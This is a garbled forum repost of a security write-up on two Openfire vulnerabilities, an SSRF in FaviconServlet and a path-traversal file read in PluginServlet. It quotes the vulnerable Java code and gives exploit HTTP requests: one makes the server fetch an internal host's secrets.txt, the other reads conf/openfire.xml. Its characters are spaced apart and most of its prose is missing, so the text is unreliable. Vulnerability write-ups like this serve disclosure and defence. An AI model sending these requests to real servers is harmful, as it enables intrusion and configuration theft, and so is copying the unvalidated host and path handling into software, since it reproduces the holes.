[15733] 2020-08-15_挖洞经验Openfire应用的SSRF和任意文件读取漏洞

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2020-08-15_挖洞经验Openfire应用的SSRF和任意文件读取漏洞   |   O p e n f i r e S S R F   c l o u d s   F r e e B u f   2 0 2 0 - 0 8 - 1 5 O p e n f i r e I g n i t e   R e a l t i m e J a b b e r ( X M P P ) J a v a O p e n f i r e O p e n f i r e 9 0 9 0 - h t t p 9 0 9 1 - h t t p s O p e n f i r e G i t h u b S S R F C V E - 2 0 1 9 - 1 8 3 9 4 :   F a v i c o n S e r v l e t . j a v a H T T P   G E T W e b F a v i c o n S e r v l e t . j a v a . . . p u b l i c   v o i d   d o G e t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   {             S t r i n g   h o s t   =   r e q u e s t . g e t P a r a m e t e r ( " h o s t " ) ;             / /   C h e c k   s p e c i a l   c a s e s   w h e r e   w e   n e e d   t o   c h a n g e   h o s t   t o   g e t   a   f a v i c o n             h o s t   =   " g m a i l . c o m " . e q u a l s ( h o s t )   ?   " g o o g l e . c o m "   :   h o s t ;             b y t e [ ]   b y t e s   =   g e t I m a g e ( h o s t ,   d e f a u l t B y t e s ) ;             i f   ( b y t e s   ! =   n u l l )   {                     w r i t e B y t e s T o S t r e a m ( b y t e s ,   r e s p o n s e ) ;             } } p r i v a t e   b y t e [ ]   g e t I m a g e ( S t r i n g   h o s t ,   b y t e [ ]   d e f a u l t I m a g e )   {         / /   I f   w e ' v e   a l r e a d y   a t t e m p t e d   t o   g e t   t h e   f a v i c o n   t w i c e   a n d   f a i l e d ,
d o G e t     g e t I m a g e g e t h o s t U R L U R L 访 U R L C V E - 2 0 1 9 - 1 8 3 9 3 :   P l u g i n S e r v l e t . j a v a W i n d o w s O p e n F i r e O p e n F i r e O p e n F i r e P l u g i n S e r v l e t . j a v a   f i l e         / /   I f   w e ' v e   a l r e a d y   a t t e m p t e d   t o   g e t   t h e   f a v i c o n   t w i c e   a n d   f a i l e d ,         / /   r e t u r n   t h e   d e f a u l t   i m a g e .         i f   ( m i s s e s C a c h e . g e t ( h o s t )   ! =   n u l l   & &   m i s s e s C a c h e . g e t ( h o s t )   >   1 )   {                 / /   D o m a i n   d o e s   n o t   h a v e   a   f a v i c o n   s o   r e t u r n   d e f a u l t   i c o n                 r e t u r n   d e f a u l t I m a g e ;         }         / /   S e e   i f   w e ' v e   c a c h e d   t h e   f a v i c o n .         i f   ( h i t s C a c h e . c o n t a i n s K e y ( h o s t ) )   {                 r e t u r n   h i t s C a c h e . g e t ( h o s t ) ;         }         b y t e [ ]   b y t e s   =   g e t I m a g e ( " h t t p : / / "   +   h o s t   +   " / f a v i c o n . i c o " ) ;         . . . . } . . . G E T   / g e t F a v i c o n ? h o s t = 1 9 2 . 1 6 8 . 1 7 6 . 1 : 8 0 8 0 / s e c r e t s . t x t ?   H T T P / 1 . 1 H o s t :   a s s e s m e n t h o s t . c o m : 9 0 9 0 . . . @ O v e r r i d e p u b l i c   v o i d   s e r v i c e ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   {         S t r i n g   p a t h I n f o   =   r e q u e s t . g e t P a t h I n f o ( ) ;         i f   ( p a t h I n f o   = =   n u l l )   {                 r e s p o n s e . s e t S t a t u s ( H t t p S e r v l e t R e s p o n s e . S C _ N O T _ F O U N D ) ;         }         e l s e   {                 t r y   {                         / /   H a n d l e   J S P   r e q u e s t s .                         i f   ( p a t h I n f o . e n d s W i t h ( " . j s p " ) )   {                                 . . .
U R I H T T P h a n d l e O t h e r R e q u e s t / p l u g i n / s e a r c h /   / W i n d o w s O p e n F i r e C o o k i e                                 . . .                         }                         / /   H a n d l e   s e r v l e t   r e q u e s t s .                         e l s e   i f   ( g e t S e r v l e t ( p a t h I n f o )   ! =   n u l l )   {                                 h a n d l e S e r v l e t ( p a t h I n f o ,   r e q u e s t ,   r e s p o n s e ) ;                         }                         / /   H a n d l e   i m a g e / o t h e r   r e q u e s t s .                         e l s e   {                                 h a n d l e O t h e r R e q u e s t ( p a t h I n f o ,   r e s p o n s e ) ;                         }                 }               . . . } p r i v a t e   v o i d   h a n d l e O t h e r R e q u e s t ( S t r i n g   p a t h I n f o ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   I O E x c e p t i o n   {         S t r i n g [ ]   p a r t s   =   p a t h I n f o . s p l i t ( " / " ) ;         / /   I m a g e   r e q u e s t   m u s t   b e   i n   c o r r e c t   f o r m a t .         i f   ( p a r t s . l e n g t h   <   3 )   {                 r e s p o n s e . s e t S t a t u s ( H t t p S e r v l e t R e s p o n s e . S C _ N O T _ F O U N D ) ;                 r e t u r n ;         }         S t r i n g   c o n t e x t P a t h   =   " " ;         i n t   i n d e x   =   p a t h I n f o . i n d e x O f ( p a r t s [ 1 ] ) ;         i f   ( i n d e x   ! =   - 1 )   {                 c o n t e x t P a t h   =   p a t h I n f o . s u b s t r i n g ( i n d e x   +   p a r t s [ 1 ] . l e n g t h ( ) ) ;         }         F i l e   p l u g i n D i r e c t o r y   =   n e w   F i l e ( J i v e G l o b a l s . g e t H o m e D i r e c t o r y ( ) ,   " p l u g i n s " ) ;         F i l e   f i l e   =   n e w   F i l e ( p l u g i n D i r e c t o r y ,   p a r t s [ 1 ]   +   F i l e . s e p a r a t o r   +   " w e b "   +   c o n t e x t P a t h ) ;         / /   W h e n   u s i n g   d e v   e n v i r o n m e n t ,   t h e   i m a g e s   d i r   m a y   b e   u n d e r   s o m e t h i n g   o t h e r   t h a t   w e b .         P l u g i n   p l u g i n   =   p l u g i n M a n a g e r . g e t P l u g i n ( p a r t s [ 1 ] ) ;         . . . } G E T   / p l u g i n s / s e a r c h / . . . . . . c o n f o p e n f i r e . x m l   H T T P / 1 . 1 H o s t :   a s s e s m e n t h o s t . c o m : 9 0 9 0 C o o k i e :   J S E S S I O N I D = n o d e 0 1 a a i b 5 x 4 g 4 p 7 8 1 q 3 i 2 m 2 t m 7 4 u 9 1 . n o d e 0 ;
U R L 访 访 2 0 1 9 . 1 0 . 2     I g n i t e   R e a l t i m e 2 0 1 9 . 1 0 . 3     2 0 1 9 . 1 1 . 1     I g n i t e   R e a l t i m e 4 . 4 . 3 2 0 2 0 . 8 . 4         P S C V E p e s e c u r i t y

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则